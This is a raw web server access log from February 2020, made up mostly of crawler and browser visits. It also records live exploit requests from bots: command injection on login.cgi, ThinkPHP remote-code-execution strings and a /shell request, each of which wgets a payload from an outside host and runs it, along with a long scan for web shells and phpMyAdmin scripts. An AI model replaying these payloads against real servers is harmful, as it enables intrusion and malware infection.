216.244.66.250 - - [16/Feb/2020:01:53:53 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)"
195.181.39.156 - - [16/Feb/2020:01:55:39 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
216.244.66.250 - - [16/Feb/2020:01:57:47 +0100] "GET /seiten/service.htm HTTP/1.1" 404 335 "-" "Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)"
31.134.20.192 - - [16/Feb/2020:02:04:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
121.178.8.198 - - [16/Feb/2020:02:07:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [16/Feb/2020:02:07:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [16/Feb/2020:02:07:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [16/Feb/2020:02:07:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [16/Feb/2020:02:07:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
124.47.8.10 - - [16/Feb/2020:02:08:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.221.40.68 - - [16/Feb/2020:02:19:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
34.97.100.10 - - [16/Feb/2020:02:22:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
36.230.50.242 - - [16/Feb/2020:02:24:18 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
81.161.60.35 - - [16/Feb/2020:02:33:28 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"
81.161.60.35 - - [16/Feb/2020:02:33:58 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"
181.139.133.210 - - [16/Feb/2020:02:36:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
158.69.26.144 - - [16/Feb/2020:02:37:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Dataprovider.com)"
158.69.26.144 - - [16/Feb/2020:02:37:53 +0100] "GET /robots.txt HTTP/1.1" 404 320 "-" "Mozilla/5.0 (compatible; Dataprovider.com)"
158.69.26.144 - - [16/Feb/2020:02:37:54 +0100] "GET /sitemap.xml HTTP/1.1" 404 321 "-" "Mozilla/5.0 (compatible; Dataprovider.com)"
158.69.26.144 - - [16/Feb/2020:02:37:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Dataprovider.com)"
158.69.26.144 - - [16/Feb/2020:02:37:55 +0100] "GET /ads.txt HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; Dataprovider.com)"
158.69.26.144 - - [16/Feb/2020:02:37:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 5.1.1; SM-G925F Build/LMY47X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.94 Mobile Safari/537.36"
79.126.78.98 - - [16/Feb/2020:02:44:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
185.144.31.245 - - [16/Feb/2020:02:44:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
108.61.103.68 - - [16/Feb/2020:02:48:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
35.226.88.36 - - [16/Feb/2020:02:52:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
167.71.246.170 - - [16/Feb/2020:02:52:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
177.189.4.218 - - [16/Feb/2020:02:52:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
103.53.111.137 - - [16/Feb/2020:02:57:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
193.112.246.211 - - [16/Feb/2020:03:00:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.246.211 - - [16/Feb/2020:03:00:06 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.246.211 - - [16/Feb/2020:03:00:06 +0100] "POST /Admin50f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.246.211 - - [16/Feb/2020:03:00:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.246.211 - - [16/Feb/2020:03:00:33 +0100] "GET /l.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.246.211 - - [16/Feb/2020:03:00:33 +0100] "GET /phpinfo.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.246.211 - - [16/Feb/2020:03:00:34 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
193.112.246.211 - - [16/Feb/2020:03:00:34 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
193.112.246.211 - - [16/Feb/2020:03:00:57 +0100] "POST /bbs.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
193.112.246.211 - - [16/Feb/2020:03:01:22 +0100] "POST /forum.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
193.112.246.211 - - [16/Feb/2020:03:01:46 +0100] "POST /forums.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
193.112.246.211 - - [16/Feb/2020:03:02:09 +0100] "POST /bbs/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
124.47.8.10 - - [16/Feb/2020:03:02:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
193.112.246.211 - - [16/Feb/2020:03:02:33 +0100] "POST /forum/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
80.104.160.30 - - [16/Feb/2020:03:02:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
193.112.246.211 - - [16/Feb/2020:03:02:57 +0100] "POST /forums/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
193.112.246.211 - - [16/Feb/2020:03:03:21 +0100] "GET /webdav/ HTTP/1.1" 404 312 "-" "Mozilla/5.0"
193.112.246.211 - - [16/Feb/2020:03:03:22 +0100] "GET /help.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:22 +0100] "GET /java.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:24 +0100] "GET /_query.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:25 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:25 +0100] "GET /db_cts.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:26 +0100] "GET /db_pma.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:26 +0100] "GET /logon.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:26 +0100] "GET /help-e.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:29 +0100] "GET /license.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:29 +0100] "GET /log.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:30 +0100] "GET /hell.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:30 +0100] "GET /pmd_online.php HTTP/1.1" 404 319 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:30 +0100] "GET /x.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:31 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:31 +0100] "GET /htdocs.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:31 +0100] "GET /b.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:32 +0100] "GET /sane.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:33 +0100] "GET /desktop.ini.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:33 +0100] "GET /z.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:34 +0100] "GET /lala.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:34 +0100] "GET /lala-dpr.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:34 +0100] "GET /wpc.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:35 +0100] "GET /wpo.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:35 +0100] "GET /t6nv.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:35 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:36 +0100] "GET /text.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:37 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:37 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:38 +0100] "GET /muhstik2.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:38 +0100] "GET /muhstiks.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:38 +0100] "GET /muhstik-dpr.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:38 +0100] "GET /lol.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:39 +0100] "GET /uploader.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:39 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:39 +0100] "GET /cmv.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:39 +0100] "GET /cmdd.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:40 +0100] "GET /knal.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:41 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:41 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:41 +0100] "GET /appserv.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:42 +0100] "GET /scripts/setup.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:42 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:42 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:42 +0100] "GET /scripts/db___.init.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:43 +0100] "GET /phpmyadmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:43 +0100] "GET /phpMyAdmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:44 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:44 +0100] "GET /PMA/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:45 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:45 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:46 +0100] "GET /pma/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:46 +0100] "GET /PMA/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:47 +0100] "GET /myadmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:47 +0100] "GET /MyAdmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:48 +0100] "GET /plugins/weathermap/editor.php HTTP/1.1" 404 334 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:49 +0100] "GET /cacti/plugins/weathermap/editor.php HTTP/1.1" 404 340 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:49 +0100] "GET /weathermap/editor.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:49 +0100] "GET /index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:50 +0100] "GET /elrekt.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:50 +0100] "GET /App/?content=die(md5(HelloThinkPHP)) HTTP/1.1" 404 309 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:50 +0100] "GET /index.php/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 363 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:51 +0100] "GET /index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:52 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:53 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:54 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:54 +0100] "GET /?a=echo%20-n%20HelloNginx%7Cmd5sum HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:55 +0100] "GET /d7.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:55 +0100] "GET /rxr.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:55 +0100] "GET /1x.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:56 +0100] "GET /home.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:57 +0100] "GET /undx.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:57 +0100] "GET /spider.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:58 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:58 +0100] "GET /composers.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:58 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:58 +0100] "GET /composer.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:59 +0100] "GET /hue2.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:59 +0100] "GET /Drupal.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:03:59 +0100] "GET /lang.php?f=1 HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:04:00 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:04:01 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:04:01 +0100] "GET /new_license.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:04:01 +0100] "GET /images/!.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:04:02 +0100] "GET /images/vuln.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:04:02 +0100] "GET /hd.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:04:02 +0100] "GET /images/up.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:04:02 +0100] "GET /images/attari.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:04:03 +0100] "GET /images/jsspwneed.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:04:03 +0100] "GET /images/stories/cmd.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:04:03 +0100] "GET /images/stories/filemga.php?ssp=RfVbHu HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:04:03 +0100] "GET /up.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
193.112.246.211 - - [16/Feb/2020:03:04:05 +0100] "GET /laravel.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
